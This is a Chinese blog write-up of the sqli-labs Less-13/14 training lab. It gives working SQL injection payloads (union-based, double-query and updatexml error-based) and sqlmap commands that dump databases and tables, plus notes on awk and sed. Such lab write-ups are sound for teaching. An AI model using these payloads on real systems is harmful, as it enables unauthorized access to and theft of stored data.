当前位置:网站首页>sqlilabs less13
sqlilabs less13
2022-07-01 14:03:00 【永远是深夜该多好。】
手动和脚本

很明显,精准的报错给了我们想要的东西。
构造以下SQL语句
select * from table where uname = ('') and password = ('')
查询表的时候发现没有返回,只有登陆成功
1') union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() #

在构造语句的时候发现似乎能利用报错注入
1') union select count(*),concat((select table_name from information_schema.tables where table_schema=database()limit 0,1),floor(rand()*2))a from information_schema.tables group by a#
通过修改limit n,1的n来查询不同行
因为这个双注入是随机性,可能需要几次才能成功
字段名和数据同理,可以考虑burp suite 或者写个脚本。

嗯,来解释一下awk sed tr作用吧
awk -F 分隔符(比如“ > ”)以 > 为分隔符,从开头到第一个分隔符 > 为1,从第一个 > 到第二个为2…… {print$n} n是第n个 1就是从头到第一个分隔符
tr a b 是把a替换为b
sed ‘s/a/b/g’ s是替代 把a替换为b g是s替换命令里面的一个标记作用是替换所有的a,如果不加g只替换第一个a
‘s/(.*),/\1,/’ 会查找最后一个,替换为空 为什么呢
因为 .是匹配换行符以外单个字符, ,加上后面的单独字符
是重复前面的匹配N次或者0次 因为第一次是,真 再重复一次就是,真后面的单独字符 ,真好 因为重复N次所以,后面全部(除了换行符)全部都能匹配
于是我们给. 加上括号表示子表达式的开始和结束 因为没有限制所以匹配的是全体
然后如果我在(.*)后面加上一个英文逗号就变成了匹配末尾有英文逗号的那部分
是不是可以把最后一个英文逗号替换掉呢 上机试试!
可以看到替换掉了英文逗号以及它之前所有的字符,因为前两行末尾是英文逗号所以全行都被替换为感叹号,而第三行末尾是一串字符所以只有英文逗号之前被替换为感叹号了。那怎么不对啊。仔细想想,它匹配的是最后一个英文逗号以及它之前所有的,如果我把匹配的替换为匹配的会怎么样(注意\1会捕捉第一个()内的指定字符 \2则是第二个()内的)
是不是最后一个英文逗号没了
再来举个例子
把括号内的ab加上外面的c 也就是abc(注意后面没有加g,所以只替换第一个abc)替换为\1所引用的第一个括号内的字符ab,使用\2呢,就是把第一个abc替换为c
推荐自己动手加强理解
基于错误
前期构造sql语句打database时候打错意外发现还可能有基于错误的注入
1') and updatexml(1,(concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),1)#

sqlmap
先抓包然后保存在文本文件 使用
sqlmap -r xx.txt

然后用 -dbs 、-D database_name -tables 和 -D database_name -T table_name --dump
less-14
less14和less13同理 sql语句由英文单引号加括号变成了英文双引号
边栏推荐
- Play with grpc - communication between different programming languages
- 陈宇(Aqua)-安全->云安全->多云安全
- Interpretation of R & D effectiveness measurement framework
- 光環效應——誰說頭上有光的就算英雄
- 【 剑指 Offer】55 - I. 二叉树的深度
- TDengine 连接器上线 Google Data Studio 应用商店
- [sword finger offer] 55 - I. depth of binary tree
- 使用net core 6 c# 的 NPOI 包,读取excel..xlsx单元格内的图片,并存储到指定服务器
- Admire, Ali female program undercover more than 500 black production groups
- How to pass array parameters in get request
猜你喜欢

Build your own website (21)

Error:Kotlin: Module was compiled with an incompatible version of Kotlin. The binary version of its

Use lambda function URL + cloudfront to realize S3 image back to source

2022. Let me take you from getting started to mastering jetpack architecture components - lifecycle

刘对(火线安全)-多云环境的风险发现

Self cultivation of open source programmers who contributed tens of millions of lines of code to shardingsphere and later became CEO

进入前六!博云在中国云管理软件市场销量排行持续上升

【IoT毕设.下】STM32+机智云AIoT+实验室安全监控系统

TexStudio使用教程

Kongsong (Xintong Institute) - cloud security capacity building and trend in the digital era
随机推荐
What class loading mechanisms does the JVM have?
被裁三個月,面試到處碰壁,心態已經開始崩了
玩转gRPC—不同编程语言间通信
力扣解法汇总241-为运算表达式设计优先级
Interpretation of R & D effectiveness measurement framework
Applet - multiple text line breaks in view
Detailed explanation of leetcode reconstruction binary tree [easy to understand]
当你真的学会DataBinding后,你会发现“这玩意真香”!
Several models of IO blocking, non blocking, IO multiplexing, signal driven and asynchronous IO
Basic knowledge of C language
3.4 data query in introduction to database system - select (single table query, connection query, nested query, set query, multi table query)
Animesr: learnable degradation operator and new real world animation VSR dataset
Etcd summary mechanism and usage scenarios
学会使用LiveData和ViewModel,我相信会让你在写业务时变得轻松
Error:Kotlin: Module was compiled with an incompatible version of Kotlin. The binary version of its
分布式事务简介(seata)
SWT / anr problem - how to open binder trace (bindertraces) when sending anr / SWT
开源实习经验分享:openEuler软件包加固测试
Dragon lizard community open source coolbpf, BPF program development efficiency increased 100 times
When you really learn databinding, you will find "this thing is really fragrant"!